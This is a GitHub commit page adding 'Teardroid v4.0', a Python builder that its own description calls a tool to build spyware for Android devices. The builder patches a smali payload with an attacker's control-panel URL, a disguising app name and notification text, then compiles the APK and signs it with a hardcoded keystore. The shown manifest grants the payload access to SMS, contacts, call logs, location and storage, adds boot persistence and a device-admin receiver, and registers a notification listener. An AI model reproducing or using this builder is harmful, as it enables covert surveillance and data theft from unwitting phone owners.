Skip to content

Commit 6edb4d4

Browse files
committed
updating to v4.0
1 parent e6ac945 commit 6edb4d4

File tree

6,810 files changed

+1931194
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

6,810 files changed

+1931194
-0
lines changed

Builder.py

+63
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
import os
2+
from colorama import Fore, Style
3+
4+
5+
class Teardroid:
6+
def __init__(self, name) -> None:
7+
self.name = name
8+
self.AppInfo = os.getcwd() + "/Teardroid_Payload/smali/com/example/teardroidv2/AppInfo.smali"
9+
10+
def build(self, hostname) -> None:
11+
self.print_result("Building Teardroid")
12+
self.print_result("Changing hostname to " + hostname)
13+
self.changeHostname(self, hostname)
14+
15+
def print_result(self, message) -> None:
16+
print(Fore.YELLOW + "[+] {message}!".format(message=message))
17+
18+
def changeNotification(self, title, content, subtext) -> None:
19+
self.print_result("Changing notification title to " + title)
20+
title = {'data': ' const-string v0, "{title}"'.format(
21+
title=title), 'line_number': 135, 'file': self.AppInfo}
22+
self.modify_file(title)
23+
self.print_result("Changing notification content to " + content)
24+
content = {'data': ' const-string v0, "{content}"'.format(
25+
content=content), 'line_number': 140, 'file': self.AppInfo}
26+
self.modify_file(content)
27+
self.print_result("Changing notification subtext to " + subtext)
28+
subtext = {'data': ' const-string v0, "{subtext}"'.format(
29+
subtext=subtext), 'line_number': 145, 'file': self.AppInfo}
30+
self.modify_file(subtext)
31+
self.print_result("Changing notification completed")
32+
33+
def changeAppname(self) -> None:
34+
self.print_result("Changing app name to " + self.name)
35+
file = os.getcwd() + "/Teardroid_Payload/res/values/strings.xml"
36+
self.modify_file({'data': ' <string name="app_name">{AppName}</string>'.format(
37+
AppName=self.name), 'line_number': 31, 'file': file})
38+
self.print_result("Changing app name completed")
39+
40+
def changeHostname(self, hostname) -> None:
41+
data = {'data': ' const-string v0, "{hostname}"'.format(
42+
hostname=hostname), 'line_number': 130, 'file': self.AppInfo}
43+
self.modify_file(data)
44+
45+
def modify_file(self, new_Info) -> None:
46+
data = ""
47+
with open(new_Info["file"], 'r') as filereader:
48+
data = filereader.readlines()
49+
data[new_Info["line_number"] - 1] = new_Info["data"] + "\n"
50+
with open(new_Info["file"], 'w') as filewriter:
51+
filewriter.writelines(data)
52+
53+
def SingAPK(self) -> None:
54+
os.system(
55+
os.getcwd() + "/apksigner sign --ks hacksec.jks --ks-key-alias key0 --ks-pass pass:root1337 --key-pass pass:root1337 " + self.name + ".apk")
56+
57+
def CompressAPK(self) -> None:
58+
os.system(os.getcwd() + "/zipalign -v 4 " + self.name +
59+
"_uncompressed.apk " + self.name + ".apk")
60+
61+
def Clear(self) -> None:
62+
os.remove(self.name + ".apk.idsig")
63+
os.remove(self.name + "_uncompressed.apk")

README.md

+100

Teardroid.py

+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# Author : script1337 [script@hacksec.in]
2+
# Website : https://www.hacksec.in
3+
# Date : Wednesday, 26 January 2022
4+
# Time : 04:04 AM
5+
6+
from ast import Str
7+
from pyfiglet import Figlet
8+
from pydantic import BaseModel
9+
import argparse
10+
import sys
11+
import os
12+
from time import sleep
13+
from Builder import Teardroid as TeardroidBuilder
14+
from colorama import Fore, Style
15+
16+
17+
class Config(BaseModel):
18+
apktool: str = os.getcwd() + "/apktool.sh"
19+
version: str = 'Teardroid v4.0'
20+
current_dir: str = os.getcwd()
21+
22+
23+
config = Config()
24+
parser = argparse.ArgumentParser(
25+
description='Teardroid v4.0 - A tool to build teardroid spyware for Android devices.')
26+
27+
28+
parser.add_argument('-v', '--version', help='Version of Teardroid',
29+
action='version', version=config.version)
30+
31+
parser.add_argument(
32+
'-b', '--build', help='Build Teardroid with custom name [ex: Teardroid.py -b teardroid]', metavar='')
33+
34+
35+
def banner() -> Str:
36+
f = Figlet(font='slant')
37+
return f.renderText("Teardroid v4")
38+
39+
40+
def builder(name: str) -> None:
41+
try:
42+
url = input("Control Panel URL : ")
43+
NotificationText = input("Notification Title : ")
44+
NotificationContent = input("Notification Content : ")
45+
NotificationSubText = input("Notification Subtext : ")
46+
except:
47+
sys.exit(0)
48+
print("GoodBye")
49+
Teardroid = TeardroidBuilder(name)
50+
Teardroid.changeAppname()
51+
Teardroid.changeHostname(url)
52+
Teardroid.changeNotification(
53+
NotificationText, NotificationContent, NotificationSubText)
54+
Teardroid.print_result("Compiling Teardroid using apktool")
55+
os.system("./apktool.sh b Teardroid_Payload -o " + name + "_uncompressed.apk")
56+
Teardroid.print_result("Compiling Teardroid completed")
57+
Teardroid.print_result("Compressing APK Files using zipalign")
58+
Teardroid.CompressAPK()
59+
Teardroid.print_result("Signing Teardroid")
60+
Teardroid.SingAPK()
61+
Teardroid.Clear()
62+
Teardroid.print_result("Proccess Completed Successfully")
63+
Teardroid.print_result("Saved as " + os.getcwd() + "/" + name + ".apk")
64+
65+
66+
if __name__ == '__main__':
67+
print(Fore.GREEN + banner())
68+
if len(sys.argv) == 1:
69+
parser.print_help(sys.stderr)
70+
sys.exit(1)
71+
args = parser.parse_args()
72+
builder(args.build)

Teardroid_Payload/AndroidManifest.xml

+49
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.example.teardroidv2" platformBuildVersionCode="32" platformBuildVersionName="12">
2+
<uses-permission android:name="android.permission.INTERNET"/>
3+
<uses-permission android:name="android.permission.READ_CONTACTS"/>
4+
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
5+
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
6+
<uses-permission android:name="android.permission.READ_SMS"/>
7+
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
8+
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
9+
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
10+
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
11+
<uses-permission android:name="android.permission.SEND_SMS"/>
12+
<uses-permission android:name="android.permission.CALL_PHONE"/>
13+
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
14+
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
15+
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
16+
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
17+
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
18+
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Teardroidv2">
19+
<receiver android:enabled="true" android:exported="true" android:name="com.example.teardroidv2.AutoStart">
20+
<intent-filter>
21+
<action android:name="android.intent.action.BOOT_COMPLETED"/>
22+
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
23+
</intent-filter>
24+
</receiver>
25+
<receiver android:exported="true" android:label="@string/app_name" android:name="com.example.teardroidv2.DevAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
26+
<intent-filter>
27+
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
28+
</intent-filter>
29+
<meta-data android:name="android.app.device_admin" android:resource="@xml/device_admin"/>
30+
</receiver>
31+
<service android:exported="true" android:label="@string/app_name" android:name="com.example.teardroidv2.NotificationListenerService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
32+
<intent-filter>
33+
<action android:name="android.service.notification.NotificationListenerService"/>
34+
</intent-filter>
35+
</service>
36+
<service android:enabled="true" android:exported="true" android:name="com.example.teardroidv2.CommandReciver"/>
37+
<activity android:exported="true" android:name="com.example.teardroidv2.MainActivity">
38+
<intent-filter>
39+
<action android:name="android.intent.action.MAIN"/>
40+
<category android:name="android.intent.category.LAUNCHER"/>
41+
</intent-filter>
42+
</activity>
43+
<provider android:authorities="com.example.teardroidv2.com.squareup.picasso" android:exported="false" android:name="com.squareup.picasso.PicassoProvider"/>
44+
<provider android:authorities="com.example.teardroidv2.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
45+
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
46+
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
47+
</provider>
48+
</application>
49+
</manifest>

Teardroid_Payload/apktool.yml

+67
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
!!brut.androlib.meta.MetaInfo
2+
apkFileName: app-release.apk
3+
compressionType: false
4+
doNotCompress:
5+
- resources.arsc
6+
- META-INF/androidx.activity_activity.version
7+
- META-INF/androidx.annotation_annotation-experimental.version
8+
- META-INF/androidx.appcompat_appcompat-resources.version
9+
- META-INF/androidx.appcompat_appcompat.version
10+
- META-INF/androidx.arch.core_core-runtime.version
11+
- META-INF/androidx.cardview_cardview.version
12+
- META-INF/androidx.coordinatorlayout_coordinatorlayout.version
13+
- META-INF/androidx.core_core-ktx.version
14+
- META-INF/androidx.core_core.version
15+
- META-INF/androidx.cursoradapter_cursoradapter.version
16+
- META-INF/androidx.customview_customview.version
17+
- META-INF/androidx.documentfile_documentfile.version
18+
- META-INF/androidx.drawerlayout_drawerlayout.version
19+
- META-INF/androidx.dynamicanimation_dynamicanimation.version
20+
- META-INF/androidx.emoji2_emoji2-views-helper.version
21+
- META-INF/androidx.emoji2_emoji2.version
22+
- META-INF/androidx.exifinterface_exifinterface.version
23+
- META-INF/androidx.fragment_fragment.version
24+
- META-INF/androidx.interpolator_interpolator.version
25+
- META-INF/androidx.legacy_legacy-support-core-utils.version
26+
- META-INF/androidx.lifecycle_lifecycle-livedata-core.version
27+
- META-INF/androidx.lifecycle_lifecycle-livedata.version
28+
- META-INF/androidx.lifecycle_lifecycle-process.version
29+
- META-INF/androidx.lifecycle_lifecycle-runtime.version
30+
- META-INF/androidx.lifecycle_lifecycle-viewmodel-savedstate.version
31+
- META-INF/androidx.lifecycle_lifecycle-viewmodel.version
32+
- META-INF/androidx.loader_loader.version
33+
- META-INF/androidx.localbroadcastmanager_localbroadcastmanager.version
34+
- META-INF/androidx.print_print.version
35+
- META-INF/androidx.recyclerview_recyclerview.version
36+
- META-INF/androidx.savedstate_savedstate.version
37+
- META-INF/androidx.startup_startup-runtime.version
38+
- META-INF/androidx.tracing_tracing.version
39+
- META-INF/androidx.transition_transition.version
40+
- META-INF/androidx.vectordrawable_vectordrawable-animated.version
41+
- META-INF/androidx.vectordrawable_vectordrawable.version
42+
- META-INF/androidx.versionedparcelable_versionedparcelable.version
43+
- META-INF/androidx.viewpager2_viewpager2.version
44+
- META-INF/androidx.viewpager_viewpager.version
45+
- META-INF/com.google.android.material_material.version
46+
- png
47+
- webp
48+
isFrameworkApk: false
49+
packageInfo:
50+
forcedPackageId: '127'
51+
renameManifestPackage: null
52+
sdkInfo:
53+
minSdkVersion: '21'
54+
targetSdkVersion: '32'
55+
sharedLibrary: false
56+
sparseResources: false
57+
unknownFiles:
58+
kotlin-tooling-metadata.json: '8'
59+
okhttp3/internal/publicsuffix/publicsuffixes.gz: '0'
60+
usesFramework:
61+
ids:
62+
- 1
63+
tag: null
64+
version: 2.6.0
65+
versionInfo:
66+
versionCode: '1'
67+
versionName: '1.0'
7.99 KB
Binary file not shown.
7.24 MB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

0 commit comments

Comments
 (0)